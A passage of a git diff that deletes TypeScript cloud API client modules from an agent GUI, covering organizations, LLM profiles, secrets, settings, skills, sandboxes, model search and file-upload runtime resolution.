String(args.limit ?? 30)); - params.set("query", args.query ?? ""); - if (args.pageId) params.set("page_id", args.pageId); - - const data = await callCloudProxy<{ - items: BranchPage["items"]; - next_page_id: string | null; - }>({ - backend, - method: "GET", - path: `/api/v1/git/branches/search?${params.toString()}`, - }); - - return { - items: data?.items ?? [], - next_page_id: data?.next_page_id ?? null, - }; -} diff --git a/src/api/cloud/organization-service.api.ts b/src/api/cloud/organization-service.api.ts deleted file mode 100644 index 6553d9951..000000000 --- a/src/api/cloud/organization-service.api.ts +++ /dev/null @@ -1,126 +0,0 @@ -import { HttpError } from "@openhands/typescript-client"; -import { getActiveBackend } from "../backend-registry/active-store"; -import type { Backend } from "../backend-registry/types"; -import { callCloudProxy } from "./proxy"; -import type { - CloudApiKeyMetadata, - CloudOrganization, - CloudOrganizationsResponse, -} from "./types"; - -interface OrganizationsResult { - items: CloudOrganization[]; - currentOrgId: string | null; -} - -function normalizeResult( - data: CloudOrganizationsResponse | undefined | null, -): OrganizationsResult { - return { - items: data?.items ?? [], - currentOrgId: data?.current_org_id ?? null, - }; -} - -function resolveBackend(backend?: Backend): Backend { - if (backend) return backend; - const active = getActiveBackend().backend; - if (active.kind !== "cloud") { - throw new Error( - "Cloud organization calls require a cloud backend. Active backend is local.", - ); - } - return active; -} - -/** - * Fetch the org list for a cloud backend. With no argument, uses the active - * cloud backend; pass `backend` explicitly to fetch for an inactive cloud - * (used by the selector to flatten all cloud rows). - * - * Calls the cloud API directly with the backend's bearer token. - */ -export async function getCloudOrganizations( - backend?: Backend, -): Promise { - const target = resolveBackend(backend); - const data = await callCloudProxy({ - backend: target, - method: "GET", - path: "/api/organizations", - }); - return normalizeResult(data); -} - -/** - * Fetch metadata for the API key used to authenticate this cloud backend. - * The returned `orgId` is the single org the key is authorized to act on - * (the cloud contract: one key → one org). - * - * Legacy keys minted before per-key org binding existed cause the upstream - * to return HTTP 400 — we surface that as `isLegacyKey: true` with a null - * `orgId` so the caller can fall back to the unfiltered behavior. Other - * statuses (401 revoked, 5xx outage) propagate so React Query can mark - * the query as failed and the selector can render the no-org-known row. - */ -export async function getCurrentCloudApiKey( - backend?: Backend, -): Promise<{ orgId: string | null; isLegacyKey: boolean }> { - const target = resolveBackend(backend); - try { - const data = await callCloudProxy({ - backend: target, - method: "GET", - path: "/api/keys/current", - }); - return { orgId: data?.org_id ?? null, isLegacyKey: false }; - } catch (e) { - if (e instanceof HttpError && e.status === 400) { - return { orgId: null, isLegacyKey: true }; - } - throw e; - } -} - -/** - * Fetch `GET /api/organizations/{orgId}/me`. Identifies the calling user as - * a member of `orgId`. The GUI uses `me.org_id === me.user_id` to decide - * whether `orgId` is the user's personal workspace — that's the cloud - * contract (the auto-generated personal-workspace org has the same id as - * the user). - * - * `role` is the caller's role in the org (`owner` | `admin` | `member`, or - * `null` if the upstream omits it). `permissions` is the server-defined - * permission set for that role (e.g. `edit_org_settings`); it is `null` on - * older app-servers that don't return it, so callers fall back to the role. - * See `useCanManageOrgProfiles`. - */ -export async function getCloudOrganizationMe( - orgId: string, - backend?: Backend, -): Promise<{ - orgId: string; - userId: string; - role: string | null; - permissions?: string[] | null; -}> { - const target = resolveBackend(backend); - const data = await callCloudProxy<{ - org_id: string; - user_id: string; - role?: string; - permissions?: string[]; - }>({ - backend: target, - method: "GET", - path: `/api/organizations/${encodeURIComponent(orgId)}/me`, - }); - return { - orgId: data?.org_id ?? orgId, - userId: data?.user_id ?? "", - role: data?.role ?? null, - // `null` when the field is absent (older app-server) so callers can fall - // back to a role check; a present array is the server's source of truth. - permissions: Array.isArray(data?.permissions) ? data.permissions : null, - }; -} diff --git a/src/api/cloud/profiles-service.api.ts b/src/api/cloud/profiles-service.api.ts deleted file mode 100644 index 73758b918..000000000 --- a/src/api/cloud/profiles-service.api.ts +++ /dev/null @@ -1,140 +0,0 @@ -import type { - ActivateProfileResponse, - ProfileDetailResponse, - ProfileListResponse, - ProfileMutationResponse, - SaveProfileRequest, -} from "@openhands/typescript-client"; -import { getActiveBackend } from "../backend-registry/active-store"; -import type { Backend } from "../backend-registry/types"; -import { callCloudProxy } from "./proxy"; - -/** - * Cloud LLM-profile service. - * - * Profile CRUD is routed to the org-scoped endpoints - * `/api/organizations/{orgId}/profiles`, which enforce `EDIT_ORG_SETTINGS` - * server-side — so a member's mutation is rejected with 403 even on a direct - * API call, not just hidden in the UI. When the active cloud backend has no org - * bound (legacy API keys), we fall back to the ungated per-user settings route - * `/api/v1/settings/profiles`, where there is no org role to enforce against. - * - * The two routes share shapes except `get` (org returns `llm`, settings returns - * `config`) and `activate` (org returns `llm`, settings returns `model`); both - * are normalized to the SDK profile types below. Neither route exposes secrets. - */ - -const SETTINGS_PROFILES_PATH = "/api/v1/settings/profiles"; - -/** - * Resolve the backend + base path for the active cloud backend's profiles: - * the org-gated route when an org is bound, else the per-user settings route. - */ -function cloudProfilesTarget(): { backend: Backend; base: string } { - const { backend, orgId } = getActiveBackend(); - if (backend.kind !== "cloud") { - throw new Error("Cloud profiles call requires a cloud backend."); - } - return { - backend, - base: orgId - ? `/api/organizations/${encodeURIComponent(orgId)}/profiles` - : SETTINGS_PROFILES_PATH, - }; -} - -export async function fetchCloudProfiles(): Promise { - const { backend, base } = cloudProfilesTarget(); - return callCloudProxy({ - backend, - method: "GET", - path: base, - }); -} - -export async function fetchCloudProfile( - name: string, -): Promise { - const { backend, base } = cloudProfilesTarget(); - // Org returns `{ name, llm }`; settings returns `{ name, config, api_key_set }`. - // Normalize to the SDK detail shape. Neither route exposes the key, and the - // GUI never reads the detail's `api_key_set` (only list-item `api_key_set`). - const result = await callCloudProxy<{ - name: string; - config?: Record; - llm?: Record; - api_key_set?: boolean; - }>({ - backend, - method: "GET", - path: `${base}/${encodeURIComponent(name)}`, - }); - return { - name: result.name, - config: result.config ?? result.llm ?? {}, - api_key_set: result.api_key_set ?? false, - }; -} - -export async function saveCloudProfile( - name: string, - request: SaveProfileRequest, -): Promise { - const { backend, base } = cloudProfilesTarget(); - return callCloudProxy({ - backend, - method: "POST", - path: `${base}/${encodeURIComponent(name)}`, - body: request, - }); -} - -export async function deleteCloudProfile( - name: string, -): Promise { - const { backend, base } = cloudProfilesTarget(); - return callCloudProxy({ - backend, - method: "DELETE", - path: `${base}/${encodeURIComponent(name)}`, - }); -} - -export async function renameCloudProfile( - name: string, - newName: string, -): Promise { - const { backend, base } = cloudProfilesTarget(); - return callCloudProxy({ - backend, - method: "POST", - path: `${base}/${encodeURIComponent(name)}/rename`, - body: { new_name: newName }, - }); -} - -export async function activateCloudProfile( - name: string, -): Promise { - const { backend, base } = cloudProfilesTarget(); - // Org returns `{ name, message, llm }`; settings returns `{ name, message, - // model }`. The SDK type carries `llm_applied`; derive it from whichever the - // route provided (consumers only read name/message — the hook just - // invalidates caches). - const result = await callCloudProxy<{ - name: string; - message: string; - model?: string | null; - llm?: Record | null; - }>({ - backend, - method: "POST", - path: `${base}/${encodeURIComponent(name)}/activate`, - body: {}, - }); - return { - name: result.name, - message: result.message, - llm_applied: result.model != null || result.llm != null, - }; -} diff --git a/src/api/cloud/proxy.ts b/src/api/cloud/proxy.ts deleted file mode 100644 index f35ad63c2..000000000 --- a/src/api/cloud/proxy.ts +++ /dev/null @@ -1,39 +0,0 @@ -import type { CloudRequestOptions } from "@openhands/typescript-client/clients"; -import type { Backend } from "../backend-registry/types"; -import { createCloudClientForRuntime, createCloudClient } from "./client"; - -export interface CloudProxyRequest { - backend: Backend; - method: CloudRequestOptions["method"]; - path: string; - body?: unknown; - headers?: Record; - timeoutSeconds?: number; - hostOverride?: string; - authMode?: "bearer" | "session-api-key" | "none"; - sessionApiKey?: string | null; - responseType?: "blob"; -} - -export async function callCloudProxy( - req: CloudProxyRequest, -): Promise { - const client = req.hostOverride - ? createCloudClientForRuntime(req.backend) - : createCloudClient(req.backend); - - return client.request({ - method: req.method, - path: req.path, - body: req.body, - headers: req.headers, - timeoutSeconds: req.timeoutSeconds, - hostOverride: req.hostOverride, - authMode: - req.authMode === undefined || req.authMode === "bearer" - ? "bearer" - : req.authMode, - sessionApiKey: req.sessionApiKey, - responseType: req.responseType, - }); -} diff --git a/src/api/cloud/sandbox-service.api.ts b/src/api/cloud/sandbox-service.api.ts deleted file mode 100644 index 55ea6a05c..000000000 --- a/src/api/cloud/sandbox-service.api.ts +++ /dev/null @@ -1,39 +0,0 @@ -import { getActiveBackend } from "../backend-registry/active-store"; -import type { Backend } from "../backend-registry/types"; -import { callCloudProxy } from "./proxy"; -import type { V1SandboxInfo } from "./sandbox-service.types"; - -function getActiveCloudBackend(): Backend { - const active = getActiveBackend().backend; - if (active.kind !== "cloud") { - throw new Error("Cloud sandboxes call requires a cloud backend."); - } - return active; -} - -/** - * Batch-fetch cloud sandboxes by id. Mirrors OpenHands' - * `SandboxService.batchGetSandboxes` by calling - * `GET /api/v1/sandboxes?id=...` on the cloud backend, returning each - * `SandboxInfo` (or null if not found). - * - * The returned `SandboxInfo.exposed_urls` carry the cloud-computed, - * publicly-reachable URLs for the sandbox's services (VSCODE, - * AGENT_SERVER, WORKER_*) — the GUI reads them directly instead of - * asking the runtime for `/api/vscode/url`, which only knows its - * internal localhost address. - */ -export async function batchGetCloudSandboxes( - ids: string[], -): Promise<(V1SandboxInfo | null)[]> { - if (ids.length === 0) return []; - const backend = getActiveCloudBackend(); - const params = new URLSearchParams(); - for (const id of ids) params.append("id", id); - const data = await callCloudProxy<(V1SandboxInfo | null)[]>({ - backend, - method: "GET", - path: `/api/v1/sandboxes?${params.toString()}`, - }); - return data ?? []; -} diff --git a/src/api/cloud/sandbox-service.types.ts b/src/api/cloud/sandbox-service.types.ts deleted file mode 100644 index a4848951b..000000000 --- a/src/api/cloud/sandbox-service.types.ts +++ /dev/null @@ -1,21 +0,0 @@ -export type V1SandboxStatus = - | "STARTING" - | "RUNNING" - | "PAUSED" - | "ERROR" - | "MISSING"; - -export interface V1ExposedUrl { - name: string; - url: string; -} - -export interface V1SandboxInfo { - id: string; - created_by_user_id: string | null; - sandbox_spec_id: string; - status: V1SandboxStatus; - session_api_key: string | null; - exposed_urls: V1ExposedUrl[] | null; - created_at: string; -} diff --git a/src/api/cloud/secrets-service.api.ts b/src/api/cloud/secrets-service.api.ts deleted file mode 100644 index b95ebe596..000000000 --- a/src/api/cloud/secrets-service.api.ts +++ /dev/null @@ -1,89 +0,0 @@ -import { getActiveBackend } from "../backend-registry/active-store"; -import type { Backend } from "../backend-registry/types"; -import type { CustomSecretWithoutValue } from "../secrets-service.types"; -import { callCloudProxy } from "./proxy"; - -interface CloudSecretsPage { - items: CustomSecretWithoutValue[]; - next_page_id: string | null; -} - -const PAGE_LIMIT = 100; - -function getActiveCloudBackend(): Backend { - const active = getActiveBackend().backend; - if (active.kind !== "cloud") { - throw new Error("Cloud secrets call requires a cloud backend."); - } - return active; -} - -/** - * Walk every page of the cloud `/api/v1/secrets/search` endpoint and return - * the merged list. The cloud shape (name + description) matches - * `CustomSecretWithoutValue`, so items pass through unchanged. - */ -export async function fetchCloudSecrets(): Promise { - const backend = getActiveCloudBackend(); - - const secrets: CustomSecretWithoutValue[] = []; - let pageId: string | null = null; - - do { - const query = new URLSearchParams({ limit: String(PAGE_LIMIT) }); - if (pageId) query.set("page_id", pageId); - - const page = await callCloudProxy({ - backend, - method: "GET", - path: `/api/v1/secrets/search?${query.toString()}`, - }); - - secrets.push(...(page.items ?? [])); - pageId = page.next_page_id; - } while (pageId); - - return secrets; -} - -export async function createCloudSecret( - name: string, - value: string, - description?: string, -): Promise { - const backend = getActiveCloudBackend(); - await callCloudProxy({ - backend, - method: "POST", - path: "/api/v1/secrets", - body: { name, value, description }, - }); -} - -/** - * Rename and/or redescribe an existing cloud secret. The cloud `PUT` endpoint - * does not accept a value field — it only updates name + description — which - * matches what `useUpdateSecret` actually sends from the secret-edit form. - */ -export async function updateCloudSecret( - secretToEdit: string, - name: string, - description?: string, -): Promise { - const backend = getActiveCloudBackend(); - await callCloudProxy({ - backend, - method: "PUT", - path: `/api/v1/secrets/${encodeURIComponent(secretToEdit)}`, - body: { name, description }, - }); -} - -export async function deleteCloudSecret(name: string): Promise { - const backend = getActiveCloudBackend(); - await callCloudProxy({ - backend, - method: "DELETE", - path: `/api/v1/secrets/${encodeURIComponent(name)}`, - }); -} diff --git a/src/api/cloud/settings-service.api.ts b/src/api/cloud/settings-service.api.ts deleted file mode 100644 index d2ba31cc8..000000000 --- a/src/api/cloud/settings-service.api.ts +++ /dev/null @@ -1,230 +0,0 @@ -import { - type Provider, - type Settings, - type SettingsValue, -} from "#/types/settings"; -import { type AppPreferences } from "../settings-service/settings-service.api"; -import { getActiveBackend } from "../backend-registry/active-store"; -import type { Backend } from "../backend-registry/types"; -import { callCloudProxy } from "./proxy"; - -/** - * The cloud Settings response is mostly flat — top-level fields like - * `llm_model`, `provider_tokens_set`, etc., rather than the nested - * `{ agent_settings, conversation_settings }` shape the local agent-server - * uses. We deliberately do NOT remap cloud fields into the local shape: - * the GUI's `Settings` type already supports both layouts (it has flat - * fields AND nested `agent_settings`/`conversation_settings`), and - * cloud-aware hooks like `useUserProviders` read directly from the flat - * `provider_tokens_set` field. So the cloud response is passed through as - * a `Partial`, with a small derivation step to also populate - * the nested fields the local-mode settings UI consumes. - */ -type CloudSettingsResponse = { - llm_model?: string; - llm_base_url?: string; - llm_api_key?: string | null; - llm_api_key_set?: boolean; - search_api_key_set?: boolean; - agent?: string; - confirmation_mode?: boolean; - security_analyzer?: string | null; - max_iterations?: number | null; - enable_default_condenser?: boolean; - condenser_max_size?: number | null; - enable_proactive_conversation_starters?: boolean; - enable_solvability_analysis?: boolean; - enable_sound_notifications?: boolean; - language?: string; - email?: string; - email_verified?: boolean; - git_user_name?: string; - git_user_email?: string; - title_llm_profile?: string | null; - user_consents_to_analytics?: boolean | null; - is_new_user?: boolean; - remote_runtime_resource_factor?: number | null; - max_budget_per_task?: number | null; - provider_tokens_set?: Partial>; - mcp_config?: Record; - disabled_skills?: string[]; - agent_settings?: Record | null; - conversation_settings?: Record | null; - agent_settings_schema?: unknown; - conversation_settings_schema?: unknown; - [key: string]: unknown; -}; - -function getActiveCloudBackend(): Backend { - const active = getActiveBackend().backend; - if (active.kind !== "cloud") { - throw new Error("Cloud settings call requires a cloud backend."); - } - return active; -} - -/** - * Build the nested `agent_settings` block from the cloud's flat fields. - * Used so the local-mode settings page (which renders against the nested - * shape) shows the right values when the active backend is cloud. - */ -function deriveAgentSettings( - flat: CloudSettingsResponse, -): Record { - if (flat.agent_settings && Object.keys(flat.agent_settings).length > 0) { - return flat.agent_settings; - } - const agent: Record = {}; - const llm: Record = {}; - if (typeof flat.llm_model === "string") llm.model = flat.llm_model; - if (typeof flat.llm_base_url === "string") llm.base_url = flat.llm_base_url; - if (typeof flat.llm_api_key === "string") llm.api_key = flat.llm_api_key; - if (Object.keys(llm).length > 0) agent.llm = llm; - - const condenser: Record = {}; - if (typeof flat.enable_default_condenser === "boolean") { - condenser.enabled = flat.enable_default_condenser; - } - if (typeof flat.condenser_max_size === "number") { - condenser.max_size = flat.condenser_max_size; - } - if (Object.keys(condenser).length > 0) agent.condenser = condenser; - - if (typeof flat.agent === "string") agent.agent = flat.agent; - if (flat.mcp_config && Object.keys(flat.mcp_config).length > 0) { - agent.mcp_config = flat.mcp_config; - } - return agent; -} - -function deriveConversationSettings( - flat: CloudSettingsResponse, -): Record { - if ( - flat.conversation_settings && - Object.keys(flat.conversation_settings).length > 0 - ) { - return flat.conversation_settings; - } - const out: Record = {}; - if (typeof flat.confirmation_mode === "boolean") { - out.confirmation_mode = flat.confirmation_mode; - } - if ( - typeof flat.security_analyzer === "string" || - flat.security_analyzer === null - ) { - out.security_analyzer = flat.security_analyzer; - } - if (typeof flat.max_iterations === "number") { - out.max_iterations = flat.max_iterations; - } - return out; -} - -/** - * Fetch the cloud settings and return them as a `Partial`. - * - * Top-level fields like `provider_tokens_set` are preserved unchanged so - * the existing `useUserProviders` → `useAppInstallations` → - * `useGitRepositories` chain (which reads `settings.provider_tokens_set`) - * fires correctly in cloud mode. Nested `agent_settings` / - * `conversation_settings` are derived for the settings page. - */ -export async function fetchCloudSettings(): Promise> { - const backend = getActiveCloudBackend(); - const flat = await callCloudProxy({ - backend, - method: "GET", - path: "/api/v1/settings", - }); - - return { - ...flat, - agent_settings: deriveAgentSettings(flat), - conversation_settings: deriveConversationSettings(flat), - llm_api_key_set: !!flat.llm_api_key_set, - search_api_key_set: !!flat.search_api_key_set, - provider_tokens_set: flat.provider_tokens_set, - } as Partial; -} - -export async function saveCloudSettings(diff: { - agent_settings_diff?: Record; - conversation_settings_diff?: Record; - /** - * App-level user preferences (language, sound notifications, disabled - * skills, …). The cloud `POST /api/v1/settings` consumes these as flat - * top-level fields, so this helper iterates the object and assigns each - * key onto the request body. - * - * Note: `app_preferences.disabled_skills` is the canonical source for the - * skill list since `AppPreferences` was unified in agent-server 1.27. - * Callers that still pass `disabled_skills` separately should migrate to - * setting it under `app_preferences` instead. - */ - app_preferences?: AppPreferences; -}): Promise { - const backend = getActiveCloudBackend(); - const body: Record = {}; - if (diff.agent_settings_diff) { - const agentDiff: Record = { - ...diff.agent_settings_diff, - }; - // The cloud validates agent settings against the SDK's - // OpenHandsAgentSettings, whose `agent_context` is a required - // AgentContext (not Optional). A literal `agent_context: null` fails - // backend validation, so drop it and let the backend keep/default it. - // See OpenHands/agent-canvas#981. - if (agentDiff.agent_context === null) { - delete agentDiff.agent_context; - } - if (Object.keys(agentDiff).length > 0) { - body.agent_settings_diff = agentDiff; - } - } - if ( - diff.conversation_settings_diff && - Object.keys(diff.conversation_settings_diff).length > 0 - ) { - body.conversation_settings_diff = diff.conversation_settings_diff; - } - // Flat top-level app-preference fields (language, git_user_name, - // disabled_skills, …). The cloud POST /api/v1/settings stores these - // directly; see `CloudSettingsResponse` and the MSW handler in - // `src/mocks/settings-handlers.ts` for the accepted shape. `undefined` - // values are skipped so the cloud server keeps the prior value; `null` - // and empty arrays (e.g. re-enabling every skill) round-trip as - // explicit clears. - if (diff.app_preferences) { - for (const [key, value] of Object.entries(diff.app_preferences)) { - if (value !== undefined) { - body[key] = value; - } - } - } - await callCloudProxy({ - backend, - method: "POST", - path: "/api/v1/settings", - body, - }); -} - -export async function fetchCloudSettingsSchema(): Promise { - const backend = getActiveCloudBackend(); - return callCloudProxy({ - backend, - method: "GET", - path: "/api/v1/settings/agent-schema", - }); -} - -export async function fetchCloudConversationSettingsSchema(): Promise { - const backend = getActiveCloudBackend(); - return callCloudProxy({ - backend, - method: "GET", - path: "/api/v1/settings/conversation-schema", - }); -} diff --git a/src/api/cloud/skills-service.api.ts b/src/api/cloud/skills-service.api.ts deleted file mode 100644 index a1b45459c..000000000 --- a/src/api/cloud/skills-service.api.ts +++ /dev/null @@ -1,49 +0,0 @@ -import type { SkillInfo } from "#/types/settings"; -import { getActiveBackend } from "../backend-registry/active-store"; -import type { Backend } from "../backend-registry/types"; -import { callCloudProxy } from "./proxy"; - -interface CloudSkillsPage { - items: SkillInfo[]; - next_page_id: string | null; -} - -const PAGE_LIMIT = 100; - -function getActiveCloudBackend(): Backend { - const active = getActiveBackend().backend; - if (active.kind !== "cloud") { - throw new Error("Cloud skills call requires a cloud backend."); - } - return active; -} - -/** - * Fetch the full list of skills from the cloud backend. The cloud endpoint is - * paginated (page_id cursor); we walk all pages so the settings UI gets a - * complete list in one call. The cloud SkillInfo shape - * (name/type/source/triggers) matches the GUI's SkillInfo type, so items are - * passed through unchanged. - */ -export async function fetchCloudSkills(): Promise { - const backend = getActiveCloudBackend(); - - const skills: SkillInfo[] = []; - let pageId: string | null = null; - - do { - const query = new URLSearchParams({ limit: String(PAGE_LIMIT) }); - if (pageId) query.set("page_id", pageId); - - const page = await callCloudProxy({ - backend, - method: "GET", - path: `/api/v1/skills/search?${query.toString()}`, - }); - - skills.push(...(page.items ?? [])); - pageId = page.next_page_id; - } while (pageId); - - return skills; -} diff --git a/src/api/cloud/suggestions-service.api.ts b/src/api/cloud/suggestions-service.api.ts deleted file mode 100644 index 425ee0e2b..000000000 --- a/src/api/cloud/suggestions-service.api.ts +++ /dev/null @@ -1,36 +0,0 @@ -import { SuggestedTask } from "#/utils/types"; -import { getActiveBackend } from "../backend-registry/active-store"; -import type { Backend } from "../backend-registry/types"; -import { callCloudProxy } from "./proxy"; - -function getActiveCloudBackend(): Backend { - const active = getActiveBackend().backend; - if (active.kind !== "cloud") { - throw new Error("Cloud suggested-tasks call requires a cloud backend."); - } - return active; -} - -export async function getCloudSuggestedTasks(args: { - pageId?: string; - limit?: number; -}): Promise<{ items: SuggestedTask[]; next_page_id: string | null }> { - const backend = getActiveCloudBackend(); - const params = new URLSearchParams(); - params.set("limit", String(args.limit ?? 30)); - if (args.pageId) params.set("page_id", args.pageId); - - const data = await callCloudProxy<{ - items: SuggestedTask[]; - next_page_id: string | null; - }>({ - backend, - method: "GET", - path: `/api/v1/git/suggested-tasks/search?${params.toString()}`, - }); - - return { - items: data?.items ?? [], - next_page_id: data?.next_page_id ?? null, - }; -} diff --git a/src/api/cloud/types.ts b/src/api/cloud/types.ts deleted file mode 100644 index 2c66f5639..000000000 --- a/src/api/cloud/types.ts +++ /dev/null @@ -1,56 +0,0 @@ -/** - * Minimal slice of the OpenHands cloud organization shape that the GUI needs - * to render the backend selector. Full shape lives in the OpenHands repo; - * we keep only the fields actually read by this codebase. - */ -export interface CloudOrganization { - id: string; - name: string; - is_personal?: boolean; -} - -export interface CloudOrganizationsResponse { - items: CloudOrganization[]; - current_org_id: string | null; -} - -/** - * Subset of OpenHands' OrganizationMember that the GUI reads. Returned by - * `GET /api/organizations/{orgId}/me`. The relationship between the org and - * the current user is the source of truth for "is this a personal - * workspace?" — namely `org_id === user_id`. - */ -export interface CloudOrganizationMember { - org_id: string; - user_id: string; - email?: string | null; - role?: string; - status?: string; -} - -/** - * Response from `GET /api/keys/current`. Identifies the org the calling - * API key is scoped to. Legacy keys without an org binding cause the - * upstream to return HTTP 400 instead of producing this shape — the - * caller catches that case rather than expecting a partial response. - */ -export interface CloudApiKeyMetadata { - id: string; - name: string; - org_id: string | null; - user_id: string; - auth_type: string; -} - -/** - * Response from `GET /api/v1/users/git-info`. Identifies the currently - * authenticated user across the connected git providers. - */ -export interface CloudGitUser { - id: string; - login: string; - avatar_url: string; - company: string | null; - name: string | null; - email: string | null; -} diff --git a/src/api/config-service/config-service.api.ts b/src/api/config-service/config-service.api.ts deleted file mode 100644 index 3953a6d56..000000000 --- a/src/api/config-service/config-service.api.ts +++ /dev/null @@ -1,188 +0,0 @@ -import { LLMMetadataClient } from "@openhands/typescript-client/clients"; -import { getAgentServerClientOptions } from "../agent-server-client-options"; -import { getActiveBackend } from "../backend-registry/active-store"; -import { callCloudProxy } from "../cloud/proxy"; -import type { - LLMModel, - LLMModelPage, - LLMProvider, - ProviderPage, - SearchModelsParams, - SearchProvidersParams, -} from "./config-service.types"; - -function filterByQuery( - items: T[], - query?: string, -): T[] { - if (!query) { - return items; - } - - const normalizedQuery = query.toLowerCase(); - return items.filter((item) => - item.name.toLowerCase().includes(normalizedQuery), - ); -} - -function filterByVerified( - items: T[], - verified?: boolean, -): T[] { - if (verified === undefined) { - return items; - } - - return items.filter((item) => item.verified === verified); -} - -function limitItems(items: T[], limit?: number): T[] { - if (!limit || limit <= 0) { - return items; - } - - return items.slice(0, limit); -} - -function buildCloudQueryString( - params: Record, -): string { - const qs = new URLSearchParams(); - for (const [key, value] of Object.entries(params)) { - if (value !== undefined) qs.set(key, String(value)); - } - const str = qs.toString(); - return str ? `?${str}` : ""; -} - -class ConfigService { - /** - * @param verifiedByProvider - Pre-fetched verified-models map used by the - * local reconstruction path. Ignored for cloud backends, which call - * `/api/v1/config/models/search` directly (verified status is embedded in - * each returned item). - */ - static async searchModels( - params: SearchModelsParams = {}, - verifiedByProvider?: Record, - ): Promise { - const active = getActiveBackend(); - - if (active.backend.kind === "cloud") { - // Cloud exposes /api/v1/config/models/search which returns LLMModelPage directly. - // verifiedByProvider is not needed — the cloud API embeds verified status natively. - const qs = buildCloudQueryString({ - page_id: params.page_id, - limit: params.limit, - query: params.query, - verified__eq: params.verified__eq, - provider__eq: params.provider__eq, - }); - return callCloudProxy({ - backend: active.backend, - method: "GET", - path: `/api/v1/config/models/search${qs}`, - }); - } - - const llmClient = new LLMMetadataClient(getAgentServerClientOptions()); - const verifiedFetch = - verifiedByProvider !== undefined - ? Promise.resolve(verifiedByProvider) - : llmClient.getVerifiedModels(); - const [models, verifiedMap] = await Promise.all([ - llmClient.getModels(), - verifiedFetch, - ]); - - const provider = params.provider__eq ?? null; - const verifiedNames = new Set( - provider ? (verifiedMap?.[provider] ?? []) : [], - ); - const verifiedItems: LLMModel[] = [...verifiedNames].map((name) => ({ - provider, - name, - verified: true, - })); - - const prefixedItems: LLMModel[] = provider - ? (models ?? []) - .filter((model) => model.startsWith(`${provider}/`)) - .map((model) => model.slice(provider.length + 1)) - .filter((name) => name.length > 0 && !verifiedNames.has(name)) - .map((name) => ({ - provider, - name, - verified: false, - })) - : []; - - const items = limitItems( - filterByVerified( - filterByQuery([...verifiedItems, ...prefixedItems], params.query), - params.verified__eq, - ), - params.limit, - ); - - return { items, next_page_id: null }; - } - - /** - * @param verifiedByProvider - Pre-fetched verified-models map used by the - * local reconstruction path. Ignored for cloud backends, which call - * `/api/v1/config/providers/search` directly (verified status is embedded in - * each returned item). - */ - static async searchProviders( - params: SearchProvidersParams = {}, - verifiedByProvider?: Record, - ): Promise { - const active = getActiveBackend(); - - if (active.backend.kind === "cloud") { - // Cloud exposes /api/v1/config/providers/search which returns ProviderPage directly. - // verifiedByProvider is not needed — the cloud API embeds verified status natively. - const qs = buildCloudQueryString({ - page_id: params.page_id, - limit: params.limit, - query: params.query, - verified__eq: params.verified__eq, - }); - return callCloudProxy({ - backend: active.backend, - method: "GET", - path: `/api/v1/config/providers/search${qs}`, - }); - } - - const llmClient = new LLMMetadataClient(getAgentServerClientOptions()); - const verifiedFetch = - verifiedByProvider !== undefined - ? Promise.resolve(verifiedByProvider) - : llmClient.getVerifiedModels(); - const [providers, verifiedMap] = await Promise.all([ - llmClient.getProviders(), - verifiedFetch, - ]); - - const verifiedProviders = new Set(Object.keys(verifiedMap ?? {})); - const names = new Set([...verifiedProviders, ...(providers ?? [])]); - const providerItems: LLMProvider[] = [...names].map((name) => ({ - name, - verified: verifiedProviders.has(name), - })); - - const items = limitItems( - filterByVerified( - filterByQuery(providerItems, params.query), - params.verified__eq, - ), - params.limit, - ); - - return { items, next_page_id: null }; - } -} - -export default ConfigService; diff --git a/src/api/config-service/config-service.types.ts b/src/api/config-service/config-service.types.ts deleted file mode 100644 index dc8e7235b..000000000 --- a/src/api/config-service/config-service.types.ts +++ /dev/null @@ -1,37 +0,0 @@ -/** V1 Config API types for models and providers */ - -export interface LLMModel { - provider: string | null; - name: string; - verified: boolean; -} - -export interface LLMModelPage { - items: LLMModel[]; - next_page_id: string | null; -} - -export interface SearchModelsParams { - page_id?: string; - limit?: number; - query?: string; - verified__eq?: boolean; - provider__eq?: string; -} - -export interface LLMProvider { - name: string; - verified: boolean; -} - -export interface ProviderPage { - items: LLMProvider[]; - next_page_id: string | null; -} - -export interface SearchProvidersParams { - page_id?: string; - limit?: number; - query?: string; - verified__eq?: boolean; -} diff --git a/src/api/conversation-file-upload.api.ts b/src/api/conversation-file-upload.api.ts deleted file mode 100644 index d07e54db9..000000000 --- a/src/api/conversation-file-upload.api.ts +++ /dev/null @@ -1,172 +0,0 @@ -import { RemoteWorkspace } from "@openhands/typescript-client/workspace/remote-workspace"; -import { getAgentServerClientOptions } from "#/api/agent-server-client-options"; -import { getActiveBackend } from "#/api/backend-registry/active-store"; -import { batchGetCloudConversations } from "#/api/cloud/conversation-service.api"; -import type { AppConversation } from "#/api/conversation-service/agent-server-conversation-service.types"; -import type { FileUploadSuccessResponse } from "#/api/open-hands.types"; -import { - buildWorkspaceUploadPath, - getSafeUploadFileName, - resolveConversationUploadWorkingDir, -} from "#/api/workspace-upload-path"; - -const FILE_UPLOAD_CONCURRENCY = 5; - -export interface ConversationRuntimeContext { - conversationUrl: string | null; - sessionApiKey: string | null; -} - -/** - * Resolve the sandbox runtime URL + session key needed for file upload and - * send-event calls. Cloud conversations only exist on the provisioned runtime, - * not on the bundled local agent-server. - */ -export async function resolveConversationRuntime( - conversationId: string, - currentConversation?: AppConversation | null, -): Promise { - if ( - currentConversation?.id === conversationId && - currentConversation.conversation_url?.trim() && - currentConversation.session_api_key?.trim() - ) { - return { - conversationUrl: currentConversation.conversation_url.trim(), - sessionApiKey: currentConversation.session_api_key.trim(), - }; - } - - if (getActiveBackend().backend.kind === "cloud") { - const [conversation] = await batchGetCloudConversations([conversationId]); - return { - conversationUrl: conversation?.conversation_url?.trim() ?? null, - sessionApiKey: conversation?.session_api_key?.trim() ?? null, - }; - } - - return { conversationUrl: null, sessionApiKey: null }; -} - -function requireCloudRuntime( - runtime: ConversationRuntimeContext, -): ConversationRuntimeContext & { - conversationUrl: string; - sessionApiKey: string; -} { - if (!runtime.conversationUrl || !runtime.sessionApiKey) { - throw new Error( - "Conversation sandbox is still starting. Wait for it to finish, then try again.", - ); - } - return { - conversationUrl: runtime.conversationUrl, - sessionApiKey: runtime.sessionApiKey, - }; -} - -/** - * Upload attachments into the conversation workspace. Local conversations use - * the bundled agent-server; cloud conversations target the provisioned runtime. - */ -export async function uploadFilesToConversation( - conversationId: string, - files: File[], - currentConversation?: AppConversation | null, -): Promise { - const workingDir = await resolveConversationUploadWorkingDir( - conversationId, - currentConversation, - ); - const runtime = await resolveConversationRuntime( - conversationId, - currentConversation, - 